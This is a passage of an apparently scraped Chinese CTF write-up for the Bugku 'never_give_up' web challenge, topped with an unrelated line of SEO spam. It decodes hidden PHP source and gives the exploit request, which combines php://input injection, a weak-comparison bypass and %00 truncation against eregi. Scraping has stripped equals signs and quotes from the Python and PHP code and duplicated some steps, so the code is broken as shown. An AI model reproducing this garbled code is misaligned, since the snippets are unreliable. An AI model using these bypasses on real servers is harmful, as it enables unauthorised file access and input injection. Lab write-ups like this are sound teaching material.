无锡品牌网站建设介绍,建筑公司网站建设方案,网络营销策划包括哪些内容,如何创建一个和淘宝一样的网站解题思路
F12查看请求和响应#xff0c;查找线索
相关工具
base64解码URL解码Burp Suit抓包
页面源码提示 !--1p.html-- 2. 去访问这个文件#xff0c;发现直接跳转到BUGKU首页#xff0c;有猫腻那就下载看看这个文件内容吧 爬虫下载这个文件
import requests
…
解题思路
F12查看请求和响应查找线索
相关工具
base64解码URL解码Burp Suit抓包
页面源码提示 !--1p.html-- 2. 去访问这个文件发现直接跳转到BUGKU首页有猫腻那就下载看看这个文件内容吧 爬虫下载这个文件
import requests
urlhttp://114.67.175.224:10469//1p.html
head{User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0}
htmlrequests.get(url,headershead).text
print(html)得到1p.html内容如下 可以看到script中有一段注释内容如下
var Words %3Cscript%3Ewindow.location.href%3Dhttp%3A%2F%2Fwww.bugku.com%3B%3C%2Fscript%3E%20%0A
%3C!--JTIyJTNCaWYoISUyNF9HRVQlNUInaWQnJTVEKSUwQSU3QiUwQSUwOWhlYWRlcignTG9jYXRpb24lM0ElMjBoZWxsby5waHAlM0ZpZCUzRDEnKSUzQiUwQSUwOWV4aXQoKSUzQiUwQSU3RCUwQSUyNGlkJTNEJTI0X0dFVCU1QidpZCclNUQlM0IlMEElMjRhJTNEJTI0X0dFVCU1QidhJyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJ2InJTVEJTNCJTBBaWYoc3RyaXBvcyglMjRhJTJDJy4nKSklMEElN0IlMEElMDllY2hvJTIwJ25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJyUzQiUwQSUwOXJldHVybiUyMCUzQiUwQSU3RCUwQSUyNGRhdGElMjAlM0QlMjAlNDBmaWxlX2dldF9jb250ZW50cyglMjRhJTJDJ3InKSUzQiUwQWlmKCUyNGRhdGElM0QlM0QlMjJidWdrdSUyMGlzJTIwYSUyMG5pY2UlMjBwbGF0ZWZvcm0hJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuKCUyNGIpJTNFNSUyMGFuZCUyMGVyZWdpKCUyMjExMSUyMi5zdWJzdHIoJTI0YiUyQzAlMkMxKSUyQyUyMjExMTQlMjIpJTIwYW5kJTIwc3Vic3RyKCUyNGIlMkMwJTJDMSkhJTNENCklMEElN0IlMEElMDklMjRmbGFnJTIwJTNEJTIwJTIyZmxhZyU3QioqKioqKioqKioqJTdEJTIyJTBBJTdEJTBBZWxzZSUwQSU3QiUwQSUwOXByaW50JTIwJTIybmV2ZXIlMjBuZXZlciUyMG5ldmVyJTIwZ2l2ZSUyMHVwJTIwISEhJTIyJTNCJTBBJTdEJTBBJTBBJTBBJTNGJTNF--%3E
function OutWord()
{
var NewWords;
NewWords unescape(Words);
document.write(NewWords);
}
OutWord();这里发现 2个 %3C!-- --%3E明显是URL编码第一个解码得到
scriptwindow.location.hrefhttp://www.bugku.com;/script
这是一段js代码作用就是嵌入在HTML文档中用于重定向浏览器当前页面到指定的URL——http://www.bugku.com。而 window.location.href 属性是JavaScript的全局对象window的一个属性它表示当前窗口浏览器标签页加载的网页的完整URL。当你给window.location.href赋值时浏览器会立即导航到指定的新URL。
第二个就是中间的内容使用base64解码后得到
%22%3Bif(!%24_GET%5Bid%5D)%0A%7B%0A%09header(Location%3A%20hello.php%3Fid%3D1)%3B%0A%09exit()%3B%0A%7D%0A%24id%3D%24_GET%5Bid%5D%3B%0A%24a%3D%24_GET%5Ba%5D%3B%0A%24b%3D%24_GET%5Bb%5D%3B%0Aif(stripos(%24a%2C.))%0A%7B%0A%09echo%20no%20no%20no%20no%20no%20no%20no%3B%0A%09return%20%3B%0A%7D%0A%24data%20%3D%20%40file_get_contents(%24a%2Cr)%3B%0Aif(%24data%3D%3D%22bugku%20is%20a%20nice%20plateform!%22%20and%20%24id%3D%3D0%20and%20strlen(%24b)%3E5%20and%20eregi(%22111%22.substr(%24b%2C0%2C1)%2C%221114%22)%20and%20substr(%24b%2C0%2C1)!%3D4)%0A%7B%0A%09%24flag%20%3D%20%22flag%7B***********%7D%22%0A%7D%0Aelse%0A%7B%0A%09print%20%22never%20never%20never%20give%20up%20!!!%22%3B%0A%7D%0A%0A%0A%3F%3E再来一次URL解码
;if(!$_GET[id])
{header(Location: hello.php?id1);exit();
}
$id$_GET[id];
$a$_GET[a];
$b$_GET[b];
if(stripos($a,.))
{echo no no no no no no no;return ;
}
$data file_get_contents($a,r);
if($databugku is a nice plateform! and $id0 and strlen($b)5 and eregi(111.substr($b,0,1),1114) and substr($b,0,1)!4)
{$flag flag{***********}
}
else
{print never never never give up !!!;
}?代码分析 URL需要有三个参数id、a、b 对参数a进行限制使用stripos函数对a进行处理意思就是a中不能含有. $data使用file_get_contents() 函数对a参数的内容进行读操作也就是读取a的内容。至于这个 符号在PHP中用于错误抑制操作它会阻止该行代码产生的任何错误信息显示出来。如果 $a 指定的文件或URL不存在或者由于其他原因无法读取通常PHP会抛出错误信息但有了 符号即使发生错误也不会显示错误信息。【忽略报错】 if语句中 $data“bugku is a nice plateform!” 表示data中要有bugku is a nice plateform!字符串至于这个参数放哪里emmphp伪协议 php:// (总之看到file_get_contents就要想到使用php://input)也就是请求中使用 php://input.然后就可以在post 中输入data的字符串。结合 $data file_get_contents($a,r);,说明参数a就是赋值成伪协议php://input具体见后文新知识 $id0和0弱比较为真先尝试传参id0发现页面会自动跳成id1所以既然0不能用那和0弱比较为真的就是字符串了id输入字母。 strlen($b)5b的长度要大于5 eregi(“111”.substr($b,0,1),“1114”)eregi已经被弃用有漏洞这里利用的就是这个漏洞称为0x00漏洞或者%00漏洞小数点是作为拼接使用而这里语句表示111和$b 中提取的第一个字符拼接形成一个新的字符串,然后和1114匹配匹配的话则返回 true否则返回 false。 使用%00那拼接就是1114不论参数b输入什么都被认为是结束了所以b%00你想输入的数字数字长度大于5就行如b%0011111. substr($b,0,1)!4进一步限制提取拼接的不能是4. 结合起来解释就是三个参数id不能为0a不能包含小数点b要使用截断来绕过substr($b,0,1)!4最后要匹配成1114。
GET /hello.php?idwwwaphp://inputb%0011111 HTTP/1.1
bugku is a nice plateform!得到Flag
新知识点 1. html 注释绕过 注释部分内包含了一个JavaScript函数OutWord该函数通过unescape方法解码了一个URL编码过的字符串这个字符串实际内容是另一段JavaScript代码。当调用OutWord()函数时它会将URL编码的字符串解码并通过document.write方法将其写入到文档流中。由于document.write会将内容解析并执行为HTML或JavaScript代码因此即使原始的JavaScript代码被注释最终还是实现了页面重定向到http://www.bugku.com的目的。 2.stripos函数查找字符串在另一字符串中第一次出现的位置不区分大小写。 3. file_get_contents() 函数把文件的内容读入到一个字符串中 4. php://inpu:可以访问请求的原始数据的只读流将post请求的数据当作php代码执行。当传入的参数作为文件名打开时可以将参数设为php://input,同时post想设置的文件内容php执行时会将post内容当作文件内容。从而导致任意代码执行。
在这里插入图片描述 5. 关于00截断原理 参考链接
Bugku---web---never_give_up-CSDN博客 https://blog.csdn.net/qq_36292543/article/details/136676985